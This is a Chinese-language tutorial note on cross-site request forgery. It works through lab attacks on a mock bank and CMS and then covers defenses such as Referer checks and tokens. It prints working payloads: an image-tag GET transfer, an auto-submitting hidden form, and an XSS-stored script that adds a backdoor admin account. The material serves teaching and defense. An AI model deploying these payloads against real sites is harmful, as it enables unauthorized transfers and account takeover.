网络安全笔记-CSRF

CSRF概述

跨站请求伪造（Cross-site request forgery,CSRF）是一种攻击，它强制终端用户在当前对其进行身份验证后的Web应用程序上执行非本意的操作。

CSRF攻击的着重点在伪造更改状态的请求，而不是盗取数据，因为攻击者无法查看对伪造请求对响应。

借助社工的一些帮助（例如通过电子邮件或聊天发送链接），攻击者可以诱骗用户执行攻击者选择的操作。如果受害者是普通用户，则成功的CSRF攻击可以强制用户执行状态更改的请求，例如转移资金，更改其电子邮件地址等。如果受害者是管理账户，CSRF可能会危及整个Web应用程序。

• 关键点
  CSRF是一种欺骗受害者提交恶意请求的攻击。它继承了受害者的身份和特权，代表受害者执行非本意、恶意的操作。
  对于大多数站点，浏览器请求自动发送与站点关联的所有凭据，例如用户的会话cookie，IP地址，Windows域凭据等。因此，如果用户当前已对该站点进行了身份验证，则该站点将无法区分受害者发送的伪造请求和受害者发送的合法请求。
• 目标
  CSRF攻击目标是能够更改服务器状态或数据的业务或功能，例如更改受害者的电子邮件地址、密码或购买商品。强制受害者查询数据，对于攻击者来说没什么用，因为无法获得服务器响应。因此，CSRF攻击针对起状态变化的请求。
  有时可以将CSRF攻击存储在易受攻击的站点上。这些漏洞被称为“存储的CSRF漏洞”。这可以通过简单地在接受HTML的字段中存储IMG或IFRAME标记，或通过更复杂的跨站点脚本攻击来实现。如果攻击可以在站点中存储CSRF攻击，则攻击的严重性会被放大。特别是，受到攻击的可能性增加，因为受害者比互联网上的某个随机页面更有可能查看包含攻击的页面。

实战：CSRF场景复现

Web应用
搭建模拟银行，核心业务-转账

• CSRF攻击
  以test用户身份在没有退出银行网站情况下，访问一个极具诱惑性网站，
  当点击诱惑性网站上通道一链接时候，转到其他页面，这时候账户中会给hacker用户转1000元。
  test用户并没有意愿给hacker用户转账，这个操作完全是非本意的，而且请求在test不知不觉的情况下被发送。说明test用户已经遭受到了CSRF攻击。
  我们发现在点击通道一的时候，发送了一条多余的链接。
  如何触发？

1、<a href="转账链接">come baby！</a>
2、<img src="">

链接源码

#get.html
<img src='./1.jpg'><br />
<img src='http://172.16.132.138/bank/action.php?username=hacker&money=1000&submit=%E4%BA%A4%E6%98%93'>
alt=''>

也就是说，该页面通过标签发送了一个get请求，这个get请求，正是用户发起转账业务的请求。

• 场景建模
  以上场景中是利用标签发送的get请求。那么是不是把关键操作使用POST请求，就能够防御CSRF漏洞了呢？答案是否定的。
• POST方式
  即使转账操作使用POSAT方法，攻击者也可以通过构造表单多方式来伪造请求，核心代码如下：

# post.html
<meta charset='utf-8'>
<form name='csrf' action='http://172.16.132.138/bank/action.php' ,method='post'>
<input type='hidden' name='username' value='hacker'>
<input type='hidden' name='money' value='1000'>
</form>
<script>document.csrf.submit()</script>
<img src="./1.jpg"><br />
<!--<a href='javascript:document.csrf.submit()' style='color:red;font-size:100px'>come on!</a><br />

此处可以利用JS来自动提交隐藏的表单，但是页面会跳转到self.php并显示转账记录。这看起来就不是那么“友好”了。那么，有什么办法能做到“不知不觉”呢。

实战：与XSS的结合添加后台账号
攻击者可以通过XSS来出发CSRF攻击。因为，可以利用JS来发送请求。
通过研究受害网站的业务流程，攻击者可以构造如下代码。

<script>
xmlhttp = new XMLHttpRequest();
xmlhttp.open(\'post\',\'http:172.16.132.138/cms/admin/user.action.php\',false);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send(\'act=add&username=hacker&password=123456&password2=123456&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0\');
</script>

将代码插入到留言板中。
然欧模拟网站管理员，登录后台，进行留言管理，只要管理员刷新页面就会出发XSS代码，以管理员的身份发送一个请求，插u你感觉爱你一个后台账户【hacker/123456】同时网站后台管理员一点儿“感觉”都没有。

CSRF的防御

无效的防御

很多防御方式都没有办法解决CSRF的问题。

• 使用秘密cookie
  所有cookie即使是秘密的cookie也会随着每个请求一起提交。无论最终用户是否被欺骗提交请求，都将提交所有身份验证令牌。身份凭据。
• 仅接受POST请求
  可以开发应用程序以仅接受用于执行业务逻辑的POST请求。误解是由于攻击者无法构建恶意链接，因此无法执行CSRF攻击。不幸的是，这种逻辑不正确。有许多方法可以让攻击者欺骗受害者提交伪造的POST请求，例如在隐藏值的攻击者网站中托管的简单表单。此表单可以由JavaScript自动触发，也可以由认为表单会执行其他操作的受害者触发。
• 多步交易
  多步交易不足以预防CSRF。只要攻击者可以预测或推断完整的事务的每个步骤，就可以实现CSRF。
• URL重写
  这可能被视为一种有用的CSRF防御技术，因为攻击者无法猜测受害者的会话ID。但是，用户的会话ID在URL中公开。所以不建议通过引入另一个安全漏洞来修复一个安全漏洞。
• HTTPS
  HTTPS本身无法抵御CSRF。但是，HTTPS应被视为任何预防措施值得信赖的先决条件。

有效防御

• 验证Referer字段
  根据HTTP协议，在HTTP头中有一个字段叫Referer，它记录了该HTTP请求的来源地址。在通常情况下，访问一个安全受限页面的请求必须来自于同一个网站。比如某银行的转账时通过用户访问[http://172.16.132.161/bank/action.php?username=hacker&money=1000&submit=%E4%BA%A4%E6%98%93]页面完成，用户必须先登录，并且访问，[htttp://172.16.132.161/bank/index.php]，然后通过点击页面上的按钮来出发转账事件。当用户提交请求时，该转账请求的Referer值就会是转账按钮所在页面的URL。而如果攻击者要对银行网站实施CSRF攻击，他只能在自己的网站构造请求，当用户通过攻击者的网站发送请求到银行时，该请求的Referer是指向攻击者的网站。因此，要防御CSRF攻击，银行网站只需要对于每一个转账请求验证其Referer值，如果是以172.16.132.161的地址或域名，则说明该请求是来自银行网站自己的请求，是合法的。如果Referer是其他网站的话，就有可能是CSRF攻击，则拒绝该请求。
• 添加Token验证
  CSRF攻击之所以能够成功，是因为攻击者可以伪造用户的请求，该请求中所有的用户验证信息都存在于Cookie中，因此攻击者可以在不知道这些验证信息的情况下直接利用用户自己的Cookie来通过安全验证。由此可知，抵御CSRF攻击的关键在于：在请求中放入攻击者所不能伪造的信息，并且这个信息不存在于Cookie中。鉴于此，系统开发者可以在HTTP请求中以参数形式加入一个随机产生的token（随机字符串），并在服务器端建立一个拦截器来验证这个token，如果请求中没有token或者token内容不正确，则认为可能是CSRF攻击而拒绝该请求。
• 二次验证
  二次验证，就是在转账等关键操作之前那提供当前用户的密码或者验证码。二次验证可以有效防御CSRF攻击。
• 用户养成良好的习惯
  对于普通用户来说,都学习并具备网络安全知识以防御网络攻击是不现实的。但若用户养成良好的上网习惯,则能够很大程度上减少CSRF攻击的危害。例如,用户上网时,不要轻易点击网络论坛、聊天室、即时通讯工具或电子邮件中出现的链接或者图片;及时退出长时间不使用的已登录账户,尤其是系统管理员,应尽量在登出系统的情况下点击未知链接和图片。除此之外,用户还需要在连接互联网的计算机上安装合适的安全防护软件,并及时更新软件厂商发布的特征库,以保持安全软件对最新攻击的实时跟踪。